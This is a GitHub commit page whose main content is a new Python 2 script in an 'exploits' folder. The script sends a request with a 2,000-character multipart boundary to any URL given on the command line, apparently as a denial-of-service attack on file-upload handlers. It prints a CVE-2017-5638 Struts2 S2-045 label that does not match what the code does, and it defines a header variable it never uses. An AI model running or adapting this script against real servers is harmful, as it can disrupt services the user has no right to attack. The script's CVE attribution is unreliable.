Skip to content

Commit 41a3314

Browse files
committed
added file upload
1 parent ebd3de4 commit 41a3314

File tree

124 files changed

+132
-7249
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

124 files changed

+132
-7249
lines changed

.heuko.txt.swp

12 KB
Binary file not shown.

exploits/file_uploader_dos_30082.py

+30
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
#!/usr/bin/python
2+
# -*- coding: utf-8 -*-
3+
4+
import urllib2
5+
import httplib
6+
7+
8+
def exploit(url):
9+
try:
10+
content_type = 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRybr9W7d7LZYnIZ8'
11+
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': 'multipart/mixed;boundary=%s' % ('A' * 2000)}
12+
print headers
13+
request = urllib2.Request(url, headers=headers)
14+
page = urllib2.urlopen(request).read()
15+
except httplib.IncompleteRead, e:
16+
page = e.partial
17+
18+
print(page)
19+
return page
20+
21+
22+
if __name__ == '__main__':
23+
import sys
24+
if len(sys.argv) != 2:
25+
print("[*] %s <url>" % sys.argv[0])
26+
else:
27+
print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
28+
url = sys.argv[1]
29+
print url
30+
exploit(url)

out/production/localhost/SESSIONS.ser

265 Bytes
Binary file not shown.

todolist-web-servlet-jsp/pom.xml

-47
This file was deleted.

todolist-web-servlet-jsp/src/main/java/io/github/benas/todolist/web/filter/LoginFilter.java

-65
This file was deleted.

todolist-web-servlet-jsp/src/main/java/io/github/benas/todolist/web/servlet/AboutServlet.java

-50
This file was deleted.

todolist-web-servlet-jsp/src/main/java/io/github/benas/todolist/web/servlet/IndexServlet.java

-56
This file was deleted.

todolist-web-servlet-jsp/src/main/java/io/github/benas/todolist/web/servlet/todo/CreateTodoServlet.java

-87
This file was deleted.

0 commit comments

Comments
 (0)